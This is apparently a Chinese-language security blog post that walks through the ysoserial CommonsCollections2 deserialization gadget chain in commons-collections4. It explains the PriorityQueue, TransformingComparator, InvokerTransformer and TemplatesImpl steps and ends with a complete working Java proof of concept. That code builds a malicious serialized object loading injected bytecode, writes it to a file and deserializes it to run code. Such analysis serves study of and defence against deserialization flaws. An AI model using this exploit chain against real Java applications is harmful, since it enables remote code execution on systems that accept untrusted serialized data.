ysoserial CommonsCollections2 分析

在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化。

已知的TemplatesImpl->newTransformer()是最终要执行的。

TemplatesImpl类动态加载方式的实现分析见ysoserial CommonsCollections3 分析中的一、二部分。

TemplatesImpl->newTransformer()的调用通过InvokerTransformer.transform()反射机制实现,这里可以看ysoserial CommonsCollections1 分析中的前半部分内容。

cc2是针对commons-collections4版本,利用链如下:

/* 	Gadget chain: 		ObjectInputStream.readObject() 			PriorityQueue.readObject() 				... 					TransformingComparator.compare() 						InvokerTransformer.transform() 							Method.invoke() 								Runtime.exec()  */ 

所以在InvokerTransformer.transform()之后的利用如下:

public class CC2Test2 {     public static void main(String[] args) throws Exception {          TemplatesImpl templates = new TemplatesImpl();          Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");          Field name = templates_cl.getDeclaredField("_name");         name.setAccessible(true);         name.set(templates,"xxx");          Field transletIndex = templates_cl.getDeclaredField("_transletIndex");         transletIndex.setAccessible(true);         transletIndex.set(templates,0);          byte[] code = Files.readAllBytes(Paths.get("D:\workspace\javaee\cc1\target\classes\com\Runtimecalc.class"));         byte[][] codes = {code};          //给_bytecodes赋值         Field bytecodes = templates_cl.getDeclaredField("_bytecodes");         bytecodes.setAccessible(true);         bytecodes.set(templates,codes);          //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap         //_tfactorys是TransformerFactoryImpl类型的         TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();         Field tfactory = templates_cl.getDeclaredField("_tfactory");         tfactory.setAccessible(true);         tfactory.set(templates,transformerFactory);          InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);         transformer.transform(templates);      } } 

一、InvokerTransformer.transform()的调用

TransformingComparator的compare,实现了对属性this.transformer的transform调用,这里可以通过TransformingComparator构造方法为该属性赋值。

public class TransformingComparator<I, O> implements Comparator<I>, Serializable {     private static final long serialVersionUID = 3456940356043606220L;     private final Comparator<O> decorated;     private final Transformer<? super I, ? extends O> transformer;      public TransformingComparator(Transformer<? super I, ? extends O> transformer) {         this(transformer, ComparatorUtils.NATURAL_COMPARATOR);     }      public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {         this.decorated = decorated;         this.transformer = transformer;     }      public int compare(I obj1, I obj2) {         O value1 = this.transformer.transform(obj1);         O value2 = this.transformer.transform(obj2);         return this.decorated.compare(value1, value2);     } } 

通过compare的调用

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null); TransformingComparator transformingComparator = new TransformingComparator(transformer); transformingComparator.compare(null,templates); 

二、TransformingComparator.compare()的调用

PriorityQueue类中的readobject()调用了heapify(),heapify()中调用了siftDown(),siftDown()调用了siftDownUsingComparator(),siftDownUsingComparator()方法实现了comparator.compare()调用。

那么只要将transformingComparator对象赋值给comparator,可以通过反射,也可以通过构造方法,这里通过构造方法,且initialCapacity不能小于1。

public PriorityQueue(int initialCapacity,                      Comparator<? super E> comparator) {     // Note: This restriction of at least one is not actually needed,     // but continues for 1.5 compatibility     if (initialCapacity < 1)         throw new IllegalArgumentException();     this.queue = new Object[initialCapacity];     this.comparator = comparator; } 

由于comparator.compare()中的参数来自queue,所以需要将templates赋值给queue。

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(templates); 

但是由于在priorityQueue.add()方法中会调用siftUp()->siftUpUsingComparator()->comparator.compare()。

priorityQueue.add()中带入的参数对象如果不存在newTransformer方法将报错,另外使用templates作为参数,又会导致在序列化过程构造恶意对象的时候得到执行。所以这里先用toString()方法代替,后通过反射方式修改this.iMethodName属性。

TransformingComparator transformingComparator = new TransformingComparator(transformer);  PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(2);  Field iMethodName = transformer.getClass().getDeclaredField("iMethodName"); iMethodName.setAccessible(true); iMethodName.set(transformer,"newTransformer"); 

三、queue属性赋值

transient queue无法序列化,但在PriorityQueue的writeobject()、readobject中对queue做了重写,实现序列化和反序列化。

private void writeObject(java.io.ObjectOutputStream s)         throws java.io.IOException {     	//略         for (int i = 0; i < size; i++)             s.writeObject(queue[i]);     } 
private void readObject(java.io.ObjectInputStream s)     throws java.io.IOException, ClassNotFoundException { 	//略     for (int i = 0; i < size; i++)         queue[i] = s.readObject();      heapify(); } 

通过反射修改queues[0],利用如下:

TransformingComparator transformingComparator = new TransformingComparator(transformer);  PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(2);  Field iMethodName = transformer.getClass().getDeclaredField("iMethodName"); iMethodName.setAccessible(true); iMethodName.set(transformer,"newTransformer");  Field queue = priorityQueue.getClass().getDeclaredField("queue"); queue.setAccessible(true); Object[] queues = (Object[]) queue.get(priorityQueue); queues[0] = templates; //这里得替换queues[0] //如果queues[0]依旧保留使用Integer,会因为无法找到newTransformer报错。  

最终完整利用实现:

public class CC2Test2 {     public static void main(String[] args) throws Exception {          TemplatesImpl templates = new TemplatesImpl();          Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");          Field name = templates_cl.getDeclaredField("_name");         name.setAccessible(true);         name.set(templates,"xxx");          Field transletIndex = templates_cl.getDeclaredField("_transletIndex");         transletIndex.setAccessible(true);         transletIndex.set(templates,0);          byte[] code = Files.readAllBytes(Paths.get("D:\workspace\javaee\cc1\target\classes\com\Runtimecalc.class"));         byte[][] codes = {code};          //给_bytecodes赋值         Field bytecodes = templates_cl.getDeclaredField("_bytecodes");         bytecodes.setAccessible(true);         bytecodes.set(templates,codes);          //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap         //_tfactorys是TransformerFactoryImpl类型的         TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();         Field tfactory = templates_cl.getDeclaredField("_tfactory");         tfactory.setAccessible(true);         tfactory.set(templates,transformerFactory);          InvokerTransformer transformer = new InvokerTransformer("toString", null, null);          TransformingComparator transformingComparator = new TransformingComparator(transformer);          PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);         priorityQueue.add(1);         priorityQueue.add(2);          Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");         iMethodName.setAccessible(true);         iMethodName.set(transformer,"newTransformer");          Field queue = priorityQueue.getClass().getDeclaredField("queue");         queue.setAccessible(true);         Object[] queues = (Object[]) queue.get(priorityQueue);         queues[0] = templates;          ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\cc2.ser"));         objectOutputStream.writeObject(priorityQueue);          ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\cc2.ser"));         objectInputStream.readObject();      } } 

ysoserial CommonsCollections2 分析

发表评论

评论已关闭。

相关文章